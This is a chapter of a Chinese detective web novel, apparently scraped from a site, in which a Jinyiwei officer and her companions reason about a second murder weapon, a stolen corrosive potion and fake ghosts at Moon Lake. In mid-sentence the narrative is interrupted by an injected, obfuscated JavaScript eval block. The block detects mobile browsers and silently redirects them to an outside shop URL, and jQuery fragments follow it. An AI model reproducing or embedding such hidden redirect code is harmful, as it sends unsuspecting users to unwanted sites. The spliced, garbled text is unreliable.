张知闲把验尸的第二次结果告知给了向远致。
向远致听了沉默许久,还是认为杨出海是凶手。
张知闲不欲在此事上与他争执。
“你可搜过他家了?”
“搜过了,丢失的食谱已然找到。”向远致恳切道,“张大人。不管眼前之事,灭门案凶手确实是他啊!”
“按照规矩,灭门案,他能承担多少罪责?”
向远致双眼转了转。
“张大人要听真话还是假话?”
这人还真是圆滑。
“自然是真话。”
向远致捋了一把山羊胡子,摇头而笑。
“此案干系重大,案卷与人犯须交由刑部,再到大理寺复验,都察院纠劾。这一报上去,没个一两年不会有结果。而这杨出海,又只做了下药这一步,算是个从犯。”
“杀三人以上,从犯也要斩首?。”
“或是无人敢在锦衣卫面前耍手段。”向远致道,“杨出海到时候大可说,自己并不清楚李纯青会杀人,只以为是偷盗。这一番辩解,他的死罪就没那么好判下来了!再加上李纯青之死亦存疑,他还可借此,说是有他人构陷!”
难怪这人平平出身,能做到知府的位置。
脑子还是有的,这些张知闲都没想到。
“到时候,他一翻供,就成咱们为了快速破案对他屈打成招!”向远致深深看了她一眼,暗示意味十足!
张知闲拨了拨腰间锦衣卫的腰牌。
“向知府的意思是……”
“若李纯青之死不存疑,光凭他一张口舌,这案子怎么也翻不过去。张大人,慎重啊。”
张知闲明白他的意思。
若不略过李纯青的命案,杨出海就无法定罪。
她沉默片刻。
“你让我再想想。”
……
从向远致书房内出来后,张知闲直接去了叶擢暂时安歇的屋内。
他此时已经醒来,正捧着碗喝粥。
朱厌倚在床边守着。
窗棂上还站着几只黄毛鸟儿,气氛还算和谐。
门一推开,鸟儿叽叽喳喳的声音霎时一停,倏地全飞走了。
朱厌立即站直了。
“查得怎么样了?”
张知闲如实相告。
朱厌用力拍了一下脑袋。
“这案子怎么越查越复杂了!还有人补刀?!”
叶擢摩挲着还带着余温的粥碗,缓缓开口。
“凶器。”
张知闲把话接了过来。
“没错,凶器。此案的症结就在凶器上。若凶手从头至尾都是杨出海一个,那第二把凶器定然被他丢弃了,若补刀的人另有他人,那第二把凶器一定会被它的主人藏起来。”
这二人沟通顺畅,朱厌却糊涂了。
“什么叫做凶手从头至尾都是杨出海啊?他都认下杀人罪了!补第二刀干嘛?”
张知闲:“你有没有想过补刀前后的不同?”
朱厌摇头:“不都是死罪吗?”
“杨出海自知杀害李纯青之事迟早会被查清,干脆来了一招浑水摸鱼,用更长的匕首补上一刀,自己则只交出刺第一刀的匕首,这样铁定的案情就变成了存疑。只要有了这一点存疑,他到时候狡辩是咱们刑讯逼供,就顺理成章多了!那些人可不会放过能往咱们身上泼脏水的机会!”
“好奸诈!老子现在就去监牢,让他瞧瞧诏狱的手段!”
朱厌撸起袖子就要往外冲,被张知闲抬脚拦住。
“你急什么?这只是一种可能,若真是其他人补刀,此案定然另有隐情。”
“那咋办?”朱厌冷静了些,“把假设说得跟真的似的。”
还不是你自己听风就是雨。
张知闲把这句话吞了回去。
“你寻证最是厉害,这几日去找找第二把凶器,若是找到了,那便是第一种可能,若没找到……”
朱厌摆摆手,向外跨步而去。
屋内只剩下二人在。
张知闲看着病恹恹的叶擢,不由呼吸都轻了些,她慢着脚步走到床前站定。
“你会不会怪我?”
叶擢一怔:“嗯?”
“无论李纯青之死的真相为何,杨出海是真凶没跑了。如果我不追查李纯青之死,那杨出海一定会被定罪。但,我还是选择了追查。”
叶擢偏着头。
“张大人为何要选择追查?”
“我希望能给你一个真正的完整的真相。”
叶擢眯了眯眼,像是被晃到似的。
“我亦如此想。”他顿了片刻,“不过,张大人,李纯青一定是凶手吗?有没有可能是杨出海一人所为,栽赃的他。”
“就算杨出海不是,他一定是!”
“张大人如此笃定,是有什么证据?”
“还记得引蛊药吗?”
“记得。”
“你有没有想过,引蛊药为什么会在红绸上有残留?”
叶擢眼皮一颤。
“是烟火!”
“李纯青把药加在烟火中,药物随着烟火升空落下,所以,那些黄点越往上越多,有遮挡的屋檐处几乎没有!”
“嗯哼。”
叶擢平复了一下呼吸。
“张大人,此案内情,怕是没这么简单。”
张知闲抬脚勾了一个圆凳过来,双手扶着膝盖坐下。
“有件事,也该告知你了。”
叶擢也坐直了些:“大人请讲。”
“这次,我本是冲着你们叶家来的。”
叶擢只讶异了一瞬。
“我们家?”
“京城黑眚再现的事,你应当知晓吧?”
黑眚案案发时,叶家尚未出事,这么大的事,叶擢自然有所耳闻。
“是真的?”
他目光是单纯的好奇。
“是真的。两个月前的傍晚,三名锦衣卫就在北镇抚司门口遇到了黑眚。据在场之人说,那黑眚和传说中一般,是一团形似犬狸的黑气,还带着呼呼的响声。当时他们四散逃开,等黑气消失后,那三名锦衣卫就已经化成了一滩脓水和残破的骨架。”
叶擢倒吸一口凉气。
“这东西……”
张知闲继续说道:“我查了许久没有任何线索,便从他们的死状入手。我找到一桩旧案,受伤的人和他们一样,因为碰到了一种药水,导致皮肉化作脓水,手臂只剩下骨头。而那个人就是在你们叶家做工时受的伤。”
她目光像是蛛网一样笼住叶擢,不想错过他任何一点反应。
“确有其事!”叶擢双眉紧皱,“大人一提到此事,我就想起来了。我家确实有这种药水。”
见他爽快承认,张知闲松了口气。
“你详细说说这药水。”
“家中原有一座产梅园石的石矿。为了开采方便,祖父从海外买来了一种腐蚀性极强的药水。每次开矿时,用那药水先浇过,后续就很很轻松地将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911730|213138||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
矿炸开。但石矿开采殆尽,又因为意外……就是您查到力工受伤一事,祖父便停了矿石的开采。”
“何时停的?”
“十六年前。”
“剩余的药水呢?”
“那药水实在危险,祖父派人将剩余的两桶药水搬上要出海的船只,准备将其倒入海中销毁。但……”叶擢紧紧捏着碗,“船只刚出海不久便被人劫走。因为船上还有丝绸等物,我们以为他们是为财,只提醒过那些海盗小心药水,便没有追究。”
嗒,嗒,嗒。
张知闲叩击着刀鞘,面色凝重。
叶家丢失的药水怕就是被这一偷,转手到了制造黑眚的人手里。
十六年,还是海盗干的,这要怎么查!
正烦着时,来了两个锦衣卫。
二人都是典型的锦衣卫身板,高大健壮,此刻却弓着背,形容颇为狼狈。
张知闲一看立即问道:“出什么事了?”
“属下们奉命在月湖附近看守,昨晚发现了四个形迹可疑之人,便追了上去。没想到那四人极为警觉,没几步路就被发现了。”
“受伤了没?”
“都是皮外伤,他们武功不算太好,轻功极好,飘起来跟鬼似的,抓不着!”
张知闲揉了揉额角。
“可找到什么线索?”
“没有……我们只查到他们装鬼的时间。只有五次。分别是八月二十八、八月三十、九月初三、九月初四、九月初六、九月初七这三日的晚间。”
张知闲看向叶擢,二人一个对视,明显是想到一起去了。
她先挥退了两个锦衣卫,嘱咐他们加派人手紧盯月湖,才对叶擢说道:“那些人扮鬼的时间,和案发时间吻合”
叶擢抿紧了嘴唇,点点头。
“不会是巧合。”
张知闲沉思片刻,忽然问道:“月湖的水是从哪儿来的?”
“一支从鄞县它山堰而来,一支从鄞县东乡而来。”
“它和其他河有连通吧?”
“自然。‘三江六塘河,一湖居其中。’,整个宁波府内,湖、塘、江都是连通的。”
“所以,月湖和甬江是连通的?”
叶擢目光一闪。
“你是指……”
张知闲笑着,使劲儿拍了一下他的肩膀。
“你们家里人都还活着!那些人自甬江入月湖,将人运走了!他们在月湖扮鬼,就是为了掩人耳目!我就说,凶手折腾这一出,绝不可能轻易将人杀了!”
叶擢的反应不算太兴奋。
“那他们掳人目的又是为何?若是为财,在取走食谱时就能顺势带走财物。”
张知闲笑容一敛。
“对啊,还有那个海盗……他说是他们把人带走的,但那些海盗绝不可能有那么好的轻功。他为什么要撒谎,说人已经被害,引我们去海岛?难道真是向远致为了报复我?”
“有没有可能,那些海盗不是参与者?”叶擢的语气不太肯定,觑着对方的表情。
“杨出海不知内情,全是李纯青联系……确有这个可能。”
叶擢试探着添了一句。
“你还记得海盗被杀之案的疑点吗?”
“记得,他们到达的时间不是卯时,而是半夜。”张知闲摸了摸眼下那一道已经结痂的疤。
粗糙的质感很像海边的乱石。
她忽的手一滑,血痂被指甲刮下一片,伤口重新渗出血来。
“我知道了!”